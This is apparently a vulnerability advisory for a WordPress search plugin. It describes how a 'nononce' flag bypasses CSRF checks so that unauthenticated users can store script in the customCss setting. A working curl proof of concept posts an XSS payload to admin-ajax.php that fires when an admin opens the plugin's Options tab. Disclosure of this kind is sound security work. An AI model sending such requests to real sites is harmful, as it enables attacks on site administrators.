The plugin contains a flag to disable the verification of CSRF nonces, granting unauthenticated attackers access to the siq_ajax AJAX action and allowing them to perform Cross-Site Scripting attacks due to the lack of sanitisation and escaping in the customCss parameter
Proof of Concept
Once the plugin is configured with an API key (can be a dummy one such as 123):
curl https://example.com/wp-admin/admin-ajax.php --data "action=siq_ajax&customCss=</textarea><script>alert('xss')</script>&nononce=1&task=set_custom_style"
The XSS will be triggered when an admin open the Options tab of the plugin (/wp-admin/admin.php?page=dwsearch&tab=tab-2)